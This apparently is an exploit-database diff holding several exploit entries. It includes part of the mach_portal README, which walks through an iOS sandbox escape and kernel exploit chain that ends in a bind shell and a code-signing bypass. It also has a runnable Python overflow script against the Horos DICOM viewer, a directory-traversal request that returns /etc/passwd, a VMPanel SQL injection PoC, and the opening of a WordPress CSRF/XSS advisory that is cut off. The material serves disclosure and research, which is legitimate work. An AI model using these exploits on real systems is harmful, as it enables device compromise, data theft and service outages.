* go view -> open subviews -> strings and find the string "pgrp_add : pgrp is dead adding process"
|
||||
|
||||
* hit 'x' on the autogenerated string symbol name; you should see this symbol referenced from two functions
|
||||
|
||||
* open the smaller of those functions in the IDA graph view
|
||||
|
||||
* this is pgrp_add in the XNU source
|
||||
|
||||
* scroll to the bottom of the CFG, the final three nodes all reference the same global variable with code like this:
|
||||
ADRP X8, #qword_FFFFFFF0075A8128@PAGE
|
||||
LDR X9, [X8,#qword_FFFFFFF0075A8128@PAGEOFF]
|
||||
|
||||
* that's the address of allproc - subtract the kernel base to get the offset, in this case it's: 0x5A4128
|
||||
|
||||
* open offset.c and add support for your device. You should only have to update those two variable (kernproc and allproc)
|
||||
The structure offsets should stay the same, at least for recent kernels. If you want to target a much older kernel you'll
|
||||
also have to work out all the structure offsets - this is much more fiddly.
|
||||
|
||||
* 32-bit devices:
|
||||
All the offsets will be totally different and the code which manipulates the kernel data structures will also be completely wrong.
|
||||
There's no reason it wouldn't work but you'll have to fix the code to make it work
|
||||
|
||||
*** fixing userspace stuff ***
|
||||
|
||||
I also rely on a handful of offsets in amfid; you should be able to find those very easily if they're different on your target.
|
||||
See the code and alse the section "Patch amfid" below.
|
||||
|
||||
*** (3) Notes on the bugs and exploits ***
|
||||
|
||||
This project is called "mach_portal" - it's the result of a research project I did this year looking at mach ports. (All the bugs used
|
||||
involve mach ports :-) ) There are two main bugs plus one more which is only used to force a service to restart:
|
||||
|
||||
CVE-2016-7637: Broken kernel mach port name uref handling on iOS/MacOS can lead to privileged port name replacement in other processes
|
||||
|
||||
CVE-2016-7644: XNU kernel UaF due to lack of locking in set_dp_control_port
|
||||
|
||||
CVE-2016-7661: MacOS/iOS arbitrary port replacement in powerd
|
||||
|
||||
There is no untether (persistent codesigning bypass) but the exploit will temporarily disable codesigning while it runs so you can run
|
||||
unsigned binaries.
|
||||
|
||||
The high level exploit flow is like this:
|
||||
|
||||
I use CVE-2016-7637 to replace launchd's send right to com.apple.iohideventsystem with a send right to a port for which I hold the receive right.
|
||||
I use CVE-2016-7661 to crash the powerd daemon (which runs as root). It gets automatically restarted and as part of its startup it will
|
||||
lookup the com.apple.iohideventsystem mach service and send its own task port to that service. Since I hold the receive
|
||||
right for that port this means that powerd actually sends me its task port giving me complete control over it :-)
|
||||
I use powerd's task port to get the host_priv port which I use to trigger the kernel bug.
|
||||
|
||||
The kernel bug is a lack of locking when releasing a reference on a port. I allocate a large number of mach ports then trigger the bug on around 20
|
||||
of them which are likely to be allocated near each other in the kernel. I use no-more-senders notifications so I can deterministically know when I've
|
||||
managed to over-release a port so that I can actually give myself dangling port pointers at an exact point in time later.
|
||||
|
||||
I free all these mach ports (leaving myself with ~20 dangling mach port pointers) and force a zone GC. I try to move
|
||||
the page pointed to by all the dangling port pointers into the kalloc.4096 zone and then I send myself a large number of mach message containing OOL
|
||||
ports with send rights to the host port. I set up these OOL port pages so that overlapping the dangling port's context pointers there's a pointer
|
||||
to the host port ipc_port and the dangling port's lock and is_guarded fields are replaced with NULL pointers.
|
||||
|
||||
If that all worked I can call mach_port_get_context on each of the dangling ports and I should get back the address of the host port ipc_port.
|
||||
|
||||
The kernel task port is allocated at around the same time as the host port and as such they both end up in the same kernel zone page. I work
|
||||
out the base of this page then call mach_port_set_context on all of the dangling ports passing each possible address of the kernel task port
|
||||
in turn. I then receive all the ports I sent to myself and if everything worked I've ended receiving a send right to the kernel task port :)
|
||||
|
||||
Here's a more detailed writeup of the sandbox escape part of the exploit. You'll have to read the code for the kernel exploit, I haven't written
|
||||
a longer writeup for that yet.
|
||||
|
||||
*** Sandbox escape ***
|
||||
|
||||
When sending and receiving mach messages from userspace there are two important kernel objects; ipc_entry and
|
||||
ipc_object.
|
||||
|
||||
ipc_entry's are the per-process handles or names which a process uses to refer to a particular ipc_object.
|
||||
|
||||
ipc_object is the actual message queue (or kernel object) which the port refers to.
|
||||
|
||||
ipc_entrys have a pointer to the ipc_object they are a handle for along with the ie_bits field which contains
|
||||
the urefs and capacility bits for this name/handle (whether this is a send right, receive right etc.)
|
||||
|
||||
struct ipc_entry {
|
||||
struct ipc_object *ie_object;
|
||||
ipc_entry_bits_t ie_bits;
|
||||
mach_port_index_t ie_index;
|
||||
union {
|
||||
mach_port_index_t next; /* next in freelist, or... */
|
||||
ipc_table_index_t request; /* dead name request notify */
|
||||
} index;
|
||||
};
|
||||
|
||||
#define IE_BITS_UREFS_MASK 0x0000ffff /* 16 bits of user-reference */
|
||||
#define IE_BITS_UREFS(bits) ((bits) & IE_BITS_UREFS_MASK)
|
||||
|
||||
The low 16 bits of the ie_bits field are the user-reference (uref) count for this name.
|
||||
|
||||
Each time a new right is received by a process, if it already had a name for that right the kernel will
|
||||
increment the urefs count. Userspace can also arbitrarily control this reference count via mach_port_mod_refs
|
||||
and mach_port_deallocate. When the reference count hits 0 the entry is free'd and the name can be re-used to
|
||||
name another right (this is actually only the case for send rights).
|
||||
|
||||
ipc_right_copyout is called when a right will be copied into a space (for example by sending a port right in a mach
|
||||
message to another process.) Here's the code to handle the sending of a send right:
|
||||
|
||||
case MACH_MSG_TYPE_PORT_SEND:
|
||||
assert(port->ip_srights > 0);
|
||||
|
||||
if (bits & MACH_PORT_TYPE_SEND) {
|
||||
mach_port_urefs_t urefs = IE_BITS_UREFS(bits);
|
||||
|
||||
assert(port->ip_srights > 1);
|
||||
assert(urefs > 0);
|
||||
assert(urefs < MACH_PORT_UREFS_MAX);
|
||||
|
||||
if (urefs+1 == MACH_PORT_UREFS_MAX) {
|
||||
if (overflow) {
|
||||
/* leave urefs pegged to maximum */ <---- (1)
|
||||
|
||||
port->ip_srights--;
|
||||
ip_unlock(port);
|
||||
ip_release(port);
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
ip_unlock(port);
|
||||
return KERN_UREFS_OVERFLOW;
|
||||
}
|
||||
port->ip_srights--;
|
||||
ip_unlock(port);
|
||||
ip_release(port);
|
||||
|
||||
...
|
||||
|
||||
entry->ie_bits = (bits | MACH_PORT_TYPE_SEND) + 1; <---- (2)
|
||||
ipc_entry_modified(space, name, entry);
|
||||
break;
|
||||
|
||||
|
||||
If copying this right into this space would cause that right's name's urefs count in that space to hit 0xffff
|
||||
then (if overflow is true) we reach the code at (1) which claims in the comment that it will leave urefs pegged at maximum.
|
||||
This branch doesn't increase the urefs but still returns KERN_SUCCESS. Almost all callers pass overflow=true.
|
||||
|
||||
The reason for this "pegging" was probably not to prevent the reference count from becoming incorrect but rather because
|
||||
at (2) if the urefs count wasn't capped the reference count would overflow the 16-bit bitfield into the capability bits.
|
||||
|
||||
The issue is that the urefs count isn't "pegged" at all. I would expect "pegged" to mean that the urefs count will now stay at 0xfffe
|
||||
and cannot be decremented - leaking the name and associated ipc_object but avoiding the possibilty of a name being over-released.
|
||||
|
||||
In fact all that the "peg" does is prevent the urefs count from exceeding 0xfffe; it doesn't prevent userspace from believing
|
||||
it has more urefs than that (by eg making the copyout's fail.)
|
||||
|
||||
What does this actually mean?
|
||||
|
||||
Let's consider the behaviour of mach_msg_server or dispatch_mig_server. They receive mach service messages in a loop and if the message
|
||||
they receieved didn't corrispond to the MIG schema they pass that received message to mach_msg_destroy. Here's the code where mach_msg_destroy
|
||||
destroys an ool_ports_descriptor_t:
|
||||
|
||||
case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
|
||||
mach_port_t *ports;
|
||||
mach_msg_ool_ports_descriptor_t *dsc;
|
||||
mach_msg_type_number_t j;
|
||||
|
||||
/*
|
||||
* Destroy port rights carried in the message
|
||||
*/
|
||||
dsc = &saddr->ool_ports;
|
||||
ports = (mach_port_t *) dsc->address;
|
||||
for (j = 0; j < dsc->count; j++, ports++) {
|
||||
mach_msg_destroy_port(*ports, dsc->disposition); // calls mach_port_deallocate
|
||||
}
|
||||
...
|
||||
|
||||
This will call mach_port_deallocate for each ool_port name received.
|
||||
|
||||
If we send such a service a mach message with eg 0x20000 copies of the same port right as ool ports the ipc_entry for that name will actually only have
|
||||
0xfffe urefs. After 0xfffe calls to mach_port_deallocate the urefs will hit 0 and the kernel will free the ipc_entry and mark that name as free. From this
|
||||
point on the name can be re-used to name another right (for example by sending another message received on another thread) but the first thread will
|
||||
still call mach_port_deallocate 0x10002 times on that name.
|
||||
|
||||
This leads to something like a use-after-deallocate of the mach port name - strictly a userspace bug (there's no kernel memory corruption etc here) but
|
||||
caused by a kernel bug.
|
||||
|
||||
The challenge to exploiting this bug is getting the exact same port name reused
|
||||
in an interesting way.
|
||||
|
||||
This requires us to dig in a bit to exacly what a port name is, how they're allocated
|
||||
and under what circumstances they'll be reused.
|
||||
|
||||
Mach ports are stored in a flat array of ipc_entrys:
|
||||
|
||||
struct ipc_entry {
|
||||
struct ipc_object *ie_object;
|
||||
ipc_entry_bits_t ie_bits;
|
||||
mach_port_index_t ie_index;
|
||||
union {
|
||||
mach_port_index_t next; /* next in freelist, or... */
|
||||
ipc_table_index_t request; /* dead name request notify */
|
||||
} index;
|
||||
};
|
||||
|
||||
mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
|
||||
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
|
||||
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
|
||||
64 times it will have the same generation number.
|
||||
|
||||
The generation number is checked in ipc_entry_lookup:
|
||||
|
||||
if (index < space->is_table_size) {
|
||||
entry = &space->is_table[index];
|
||||
if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
|
||||
IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
|
||||
entry = IE_NULL;
|
||||
}
|
||||
|
||||
here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.
|
||||
|
||||
Entry allocation:
|
||||
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will
|
||||
be grown. The table is never shrunk.
|
||||
|
||||
Reliably looping mach port names:
|
||||
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.
|
||||
|
||||
After triggering the urefs bug to free the target mach port name in the target process we immediately
|
||||
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
|
||||
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
|
||||
contained in the message (but with an incremented generation number.)
|
||||
Since this message is not expected by the service (in this case we send an
|
||||
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of
|
||||
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
|
||||
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
|
||||
N entries down the freelist.
|
||||
|
||||
We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
|
||||
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
|
||||
in the table is allocated it will have exactly the same mach port name as the original target right we
|
||||
triggered the urefs bug on.
|
||||
|
||||
For this iOS exploit I target the send right to com.apple.iohideventsystem which launchd has, and which I can lookup from inside the
|
||||
container sandbox
|
||||
|
||||
I look up the iohideventsystem service in launchd then use the urefs bug to free launchd's send right and use the
|
||||
looper messages to spin the generation number round. I then register a large number of dummy services
|
||||
with launchd so that one of them reuses the same mach port name as launchd thinks the iohideventsystem service has.
|
||||
(We can't register global mach services from inside the container sandbox but we can register App Group-restricted
|
||||
services, which work just the same for our purposes. This is why the exploit needs the App Groups capability.)
|
||||
|
||||
Now when any process looks up com.apple.iohideventsystem launchd will actually send them a send right
|
||||
to one of my dummy services :)
|
||||
|
||||
I add all those dummy services to a portset and use that recieve right and the legitimate iohideventsystem send right
|
||||
I still have to MITM all these new connections to iohideventsystem. As mentioned earlier clients of iohideventsystem send
|
||||
it their task ports, so all I have to do is crash a process which runs as root and is a client of iohideventsystem. When it
|
||||
restarts it will send it's task port to me :-)
|
||||
|
||||
*** Powerd crasher ***
|
||||
|
||||
To crash powerd I use CVE-2016-7661:
|
||||
|
||||
powerd checks in with launchd to get a server port and then wraps that in a CFPort:
|
||||
|
||||
pmServerMachPort = _SC_CFMachPortCreateWithPort(
|
||||
"PowerManagement",
|
||||
serverPort,
|
||||
mig_server_callback,
|
||||
&context);
|
||||
|
||||
It also asks to receive dead name notifications for other ports on that same server port:
|
||||
|
||||
mach_port_request_notification(
|
||||
mach_task_self(), // task
|
||||
notify_port_in, // port that will die
|
||||
MACH_NOTIFY_DEAD_NAME, // msgid
|
||||
1, // make-send count
|
||||
CFMachPortGetPort(pmServerMachPort), // notify port
|
||||
MACH_MSG_TYPE_MAKE_SEND_ONCE, // notifyPoly
|
||||
&oldNotify); // previous
|
||||
|
||||
mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:
|
||||
|
||||
static void
|
||||
mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
|
||||
{
|
||||
mig_reply_error_t * bufRequest = msg;
|
||||
mig_reply_error_t * bufReply = CFAllocatorAllocate(
|
||||
NULL, _powermanagement_subsystem.maxsize, 0);
|
||||
mach_msg_return_t mr;
|
||||
int options;
|
||||
|
||||
__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
|
||||
|
||||
/* we have a request message */
|
||||
(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);
|
||||
|
||||
This passes the raw message to pm_mig_demux:
|
||||
|
||||
static boolean_t
|
||||
pm_mig_demux(
|
||||
mach_msg_header_t * request,
|
||||
mach_msg_header_t * reply)
|
||||
{
|
||||
mach_dead_name_notification_t *deadRequest =
|
||||
(mach_dead_name_notification_t *)request;
|
||||
boolean_t processed = FALSE;
|
||||
|
||||
processed = powermanagement_server(request, reply);
|
||||
|
||||
if (processed)
|
||||
return true;
|
||||
|
||||
if (MACH_NOTIFY_DEAD_NAME == request->msgh_id)
|
||||
{
|
||||
__MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);
|
||||
|
||||
PMConnectionHandleDeadName(deadRequest->not_port);
|
||||
|
||||
__MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
|
||||
mach_port_deallocate(mach_task_self(), deadRequest->not_port);
|
||||
|
||||
reply->msgh_bits = 0;
|
||||
reply->msgh_remote_port = MACH_PORT_NULL;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
|
||||
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.
|
||||
|
||||
deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:
|
||||
|
||||
typedef struct {
|
||||
mach_msg_header_t not_header;
|
||||
NDR_record_t NDR;
|
||||
mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
|
||||
mach_msg_format_0_trailer_t trailer;
|
||||
} mach_dead_name_notification_t;
|
||||
|
||||
This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
|
||||
mach_port_deallocate.
|
||||
|
||||
The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
|
||||
to drop a reference on a controlled mach port name :)
|
||||
|
||||
Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
|
||||
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.
|
||||
|
||||
You could probably do quite interesting things with this bug but in this case I just want to crash the service. I do that by spoofing no-more-senders
|
||||
notifications for powerd's task port. Once powerd's send right to its own task port has been freed pretty much everything breaks - in this case
|
||||
I send a copy_powersources_info message, the receving code doesn't check the return value of a call to mach_vm_allocate which fails because the
|
||||
task's task port is wrong and leads to the use of an uninitialized pointer.
|
||||
|
||||
*** Kernel Bug ****
|
||||
|
||||
See above for a short writeup of the kernel bug exploit. I will try to write a long-form writeup soon, but the code should be kind of clear.
|
||||
|
||||
*** Post-exploitation ****
|
||||
|
||||
I've taken a slightly different approach post-exploitation. Everything is data-only, I don't make any patches to r/o kernel memory. This means
|
||||
things should also work on the iPhone 7 but I don't have one to test :(
|
||||
|
||||
There are a number of downsides to taking this approach though:
|
||||
* technically a lot of these things I do are racy, but in pratice it works perfectly well enough for a research platform
|
||||
* some things become quite fiddly which are simple with a TEXT patch
|
||||
|
||||
This is also a research project for me; there are almost certainly far more downsides that I'm not aware of. iOS is complex, undocumented place
|
||||
and I don't really know what I'm doing!
|
||||
|
||||
The flow works like this:
|
||||
|
||||
Walk the process list and find the following tasks:
|
||||
amfid
|
||||
mach_portal
|
||||
containermanagerd
|
||||
launchd
|
||||
|
||||
Disable the sandbox:
|
||||
sb_evaluate has a short-circuit success path if the process has the kern_cred credentials; neither the plaform policy nor
|
||||
the process's sandbox profile will be evaluated. We can use the kernel memory access to give the mach_portal process the
|
||||
kernel's credentials and we're no longer sandboxed.
|
||||
|
||||
Fix launchd:
|
||||
The sandbox escape made a mess in launchd so I fix up launchd's send right to iohideventsystem to point back to the correct port.
|
||||
I then restart powerd because otherwise we hit a watchdog timeout.
|
||||
|
||||
Patch amfid:
|
||||
In order to run unsigned binaries and have somethign like a proper shell environment we need to convince amfid to allow binaries with invalid
|
||||
signatures. Previous efforts in this area have replaced amfids import of MISValidateSignature to a function which would always return 0 (success)
|
||||
but amfid now calls MISValidateSignatureAndCopyInfo which takes an out pointer to a CFDictionary which is expected to contain the correct CDHash
|
||||
so just replacing the import won't work. I instead set myself as amfid's exception handler and point the MISValidateSignatureAndCopyInfo to an invalid
|
||||
address. This means that amfid will crash whenever it validates a signature, and since we're the exception handler we get a message on the exception port
|
||||
with the crashing thread state. I read the path to the file to be validated from amfid's address space, compute the CDHash SHA1 myself and write that into the
|
||||
reply message which amfid will send back to the kernel then resume execution of amfid so it can send the reply.
|
||||
|
||||
Unsandbox containermangerd:
|
||||
Since I haven't had time to investigate LvVM yet I don't remount the rootfs r/w which means that all the binaries we run are from the user partition. This means
|
||||
that we can't prevent the kernel from requesting that containermanagerd allocate a container for them. I did test out doing a similar patch for containermanagerd
|
||||
as I did for amfid which parsed the sb_packbuff requests from the kernel and fixed them up so that containermanagerd didn't get upset but it seemed easier to
|
||||
just unsandbox it so it can make the directories it wants. This decision should be revisited, it's not ideal!
|
||||
|
||||
Make sure all child processes are also unsandboxed:
|
||||
Since the sandbox defeat involves cheating by using the kern_cred we need a way to make sure all our child processes also have the kern_cred. This is kind of a hack
|
||||
but it works fine for my purposes. You should really revisit this if you want to improve on this code!
|
||||
I allocate a new mach port and set that as my bootstrap port and spin up a thread which mitm's between that port and a real send right to launchd. I request an audit
|
||||
trailer with each message which allows me to get the sender of the message and thus be notified when a new child starts. I then use the kernel memory access to
|
||||
find that pid's proc structure and give it and all its threads the kernel creds. A constructor in libxpc will make a synchronous request to the bootstrap
|
||||
port during dyld initialization before any application code actually runs so this works well enough to allow all our children to run unsandboxed
|
||||
|
||||
Set kernel task port as host special port:
|
||||
I also set the kernel task port as host special port 4 so you can easily get at it without having to rewrite the exploit code.
|
||||
|
||||
Shell:
|
||||
I chmod everything in the iosbinpack64 directory to be executable then run bash on a bind shell on port 4141. This isn't ideal but is enough to run test tools
|
||||
and explore the system, talk to all the userclients, devices, mach services, sysctls etc that you want to.
|
||||
|
||||
|
||||
Proofs of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40931.zip
|
68
platforms/osx/dos/40929.py
Executable file
68
platforms/osx/dos/40929.py
Executable file
|
@ -0,0 +1,68 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf8 -*-
|
||||
#
|
||||
#
|
||||
# Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow Vulnerability
|
||||
#
|
||||
#
|
||||
# Vendor: Horos Project
|
||||
# Product web page: https://www.horosproject.org
|
||||
# Affected version: 2.1.0
|
||||
#
|
||||
# Summary: Horos™ is an open-source, free medical image viewer. The goal of the Horos Project is
|
||||
# to develop a fully functional, 64-bit medical image viewer for OS X. Horos is based upon OsiriX
|
||||
# and other open source medical imaging libraries.
|
||||
#
|
||||
# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that
|
||||
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
|
||||
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
|
||||
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
|
||||
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
|
||||
# context item length segment of the DICOM standard, potentially resulting in remote code execution
|
||||
# and/or denial of service scenario.
|
||||
#
|
||||
# Tested on: OS X 10.12.2 (Sierra)
|
||||
# OS X 10.12.1 (Sierra)
|
||||
#
|
||||
#
|
||||
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||
# @zeroscience
|
||||
#
|
||||
#
|
||||
# Advisory ID: ZSL-2016-5386
|
||||
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5386.php
|
||||
#
|
||||
#
|
||||
# 15.12.2016
|
||||
#
|
||||
|
||||
|
||||
import sys, socket
|
||||
|
||||
hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
|
||||
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
|
||||
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
|
||||
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
|
||||
'\x31\x20\x00\x80\x00')
|
||||
|
||||
buffer = '\x41\x42\x43\x44' * 10000
|
||||
|
||||
bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
|
||||
'\x52\x00\x00\x00')
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
|
||||
print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'
|
||||
sys.exit(0)
|
||||
|
||||
host = sys.argv[1]
|
||||
port = int(sys.argv[2])
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
connect = s.connect((host, port))
|
||||
s.settimeout(251)
|
||||
s.send(hello+buffer+bye)
|
||||
s.close
|
58
platforms/osx/remote/40930.txt
Executable file
58
platforms/osx/remote/40930.txt
Executable file
|
@ -0,0 +1,58 @@
|
|||
Horos 2.1.0 Web Portal Remote Information Disclosure Exploit
|
||||
|
||||
|
||||
Vendor: Horos Project
|
||||
Product web page: https://www.horosproject.org
|
||||
Affected version: 2.1.0
|
||||
|
||||
Summary: Horos™ is an open-source, free medical image viewer. The goal of the
|
||||
Horos Project is to develop a fully functional, 64-bit medical image viewer for
|
||||
OS X. Horos is based upon OsiriX and other open source medical imaging libraries.
|
||||
|
||||
Desc: Horos suffers from a file disclosure vulnerability when input passed thru the
|
||||
URL path is not properly verified before being used to read files. This can be
|
||||
exploited to include files from local resources with directory traversal attacks.
|
||||
|
||||
Tested on: macOS Sierra/10.12.2
|
||||
macOS Sierra/10.12.1
|
||||
|
||||
|
||||
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||
@zeroscience
|
||||
|
||||
|
||||
Advisory ID: ZSL-2016-5387
|
||||
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5387.php
|
||||
|
||||
|
||||
15.12.2016
|
||||
|
||||
--
|
||||
|
||||
|
||||
PoC request:
|
||||
|
||||
http://127.0.0.1:3333/.../...//.../...//.../...//.../...//.../...//etc/passwd
|
||||
|
||||
|
||||
Response:
|
||||
|
||||
##
|
||||
# User Database
|
||||
#
|
||||
# Note that this file is consulted directly only when the system is running
|
||||
# in single-user mode. At other times this information is provided by
|
||||
# Open Directory.
|
||||
#
|
||||
# See the opendirectoryd(8) man page for additional information about
|
||||
# Open Directory.
|
||||
##
|
||||
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
|
||||
root:*:0:0:System Administrator:/var/root:/bin/sh
|
||||
daemon:*:1:1:System Services:/var/root:/usr/bin/false
|
||||
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
|
||||
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
|
||||
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
|
||||
...
|
||||
...
|
||||
...
|
85
platforms/php/webapps/40932.txt
Executable file
85
platforms/php/webapps/40932.txt
Executable file
|
@ -0,0 +1,85 @@
|
|||
=====================================================
|
||||
[#] Exploit Title : VMPanel 2.7.4 - SQL Injection Web Vulnerability
|
||||
[#] Author : Esmaeil Rahimian
|
||||
[#] Date Discovered : 2016-12-07
|
||||
[#] Affected Product(s): VMPanel v2.7.4 - Content Management System
|
||||
[#] Exploitation Technique: Remote
|
||||
[#] Severity Level: Medium
|
||||
[#] Tested OS : Windows 10
|
||||
=====================================================
|
||||
|
||||
|
||||
[#] Product & Service Introduction:
|
||||
===================================
|
||||
VMPanel is a powerful web based VMware Esx/Esxi Control Panel + WHMCS addon
|
||||
with VMPanel you can create or remove virtual machines remotely without the need to access vsphere Client aslo you can
|
||||
Power Off,Power On, reset,virtual machine through the panel and module for WHMCS
|
||||
|
||||
(Copy of the Vendor Homepage: http://www.cybervm.com/ )
|
||||
|
||||
|
||||
[#] Technical Details & Description:
|
||||
====================================
|
||||
A remote sql injection web vulnerability has been discovered in the official VMPanel v2.7.4 web-application (cms).
|
||||
The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the web-application or dbms.
|
||||
|
||||
The sql-injection web vulnerability is located in the `IP Address` entry name, that is located in the pannel administration.
|
||||
Remote attackers are able to run clean sql commands, the vulnerability attack vector is application-side and
|
||||
the injection request method is POST.
|
||||
|
||||
Request Method(s):
|
||||
[+] POST
|
||||
|
||||
Vulnerable Module(s):
|
||||
[+] (Input)
|
||||
|
||||
Vulnerable Parameter(s):
|
||||
[+] IP Address
|
||||
|
||||
|
||||
[#] Proof of Concept (PoC):
|
||||
===========================
|
||||
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
||||
|
||||
|
||||
--- PoC Session Logs [POST]---
|
||||
Status: 200 [OK]
|
||||
Host: localhost:2023
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://localhost:2023/sesswuzs6ugfaxa7ufii/index.php?act=addserver
|
||||
Cookie: head_ippool=2; head_storage=2; head_servers=2; ssupp.vid=UMvYqzxZJxPU8VfwJ23WTpt5PWxnqZmYHQ45341807122016; ssupp.geoloc=%7B%22ipAddress%22%3A%22176.156.184.208%22%2C%22countryCode%22%3A%22FR%22%2C%22country%22%3A%22France%22%2C%22region%22%3Anull%2C%22city%22%3Anull%7D; WHMCS4tXQk3bQ4YHY=l8580de1p2dm64gtevt7jj15s7; SIMCookies001_sid=yd0da41j3abie5zhb8jwjsd5nk6c07ce
|
||||
Connection: keep-alive
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 141
|
||||
|
||||
|
||||
POST Method: server_name=&ip=[INJECTION SQL HERE]&pass=&mikip=&mikuser=&mikpass=&bw=&addserver=Add+Server
|
||||
|
||||
|
||||
--- PoC Error Logs ---
|
||||
SELECT * FROM `servers` WHERE `server_ip` = ''"/>>:22'
|
||||
MySQL Error No : 1064
|
||||
MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"/>>:22'' at line 1
|
||||
|
||||
|
||||
[#] Disclaimer:
|
||||
===============
|
||||
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
|
||||
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.
|
||||
|
||||
|
||||
Domain: www.zwx.fr
|
||||
Contact: msk4@live.fr
|
||||
Social: twitter.com/XSSed.fr
|
||||
Feeds: www.zwx.fr/feed/
|
||||
Advisory: www.vulnerability-lab.com/show.php?user=ZwX
|
||||
packetstormsecurity.com/files/author/12026/
|
||||
cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
|
||||
0day.today/author/27461
|
||||
|
||||
|
||||
Copyright (c) 2016 | ZwX - Security Researcher (Software & web application)
|
67
platforms/php/webapps/40934.html
Executable file
67
platforms/php/webapps/40934.html
Executable file
|
@ -0,0 +1,67 @@
|
|||
<!--
|
||||
Details
|
||||
================
|
||||
Software: Quiz And Survey Master (Formerly Quiz Master Next)
|
||||
Version: 4.5.4,4.7.8
|
||||
Homepage: https://wordpress.org/plugins/quiz-master-next/
|
||||
Advisory report: https://security.dxw.com/advisories/csrfstored-xss-in-quiz-and-survey-master-formerly-quiz-master-next-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/
|
||||
CVE: Awaiting assignment
|
||||
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
|
||||
|
||||
Description
|
||||
================
|
||||
CSRF/stored XSS in Quiz And Survey Master (Formerly Quiz Master Next) allows unauthenticated attackers to do almost anything an admin can
|
||||
|
||||
Vulnerability
|
||||
================
|
||||
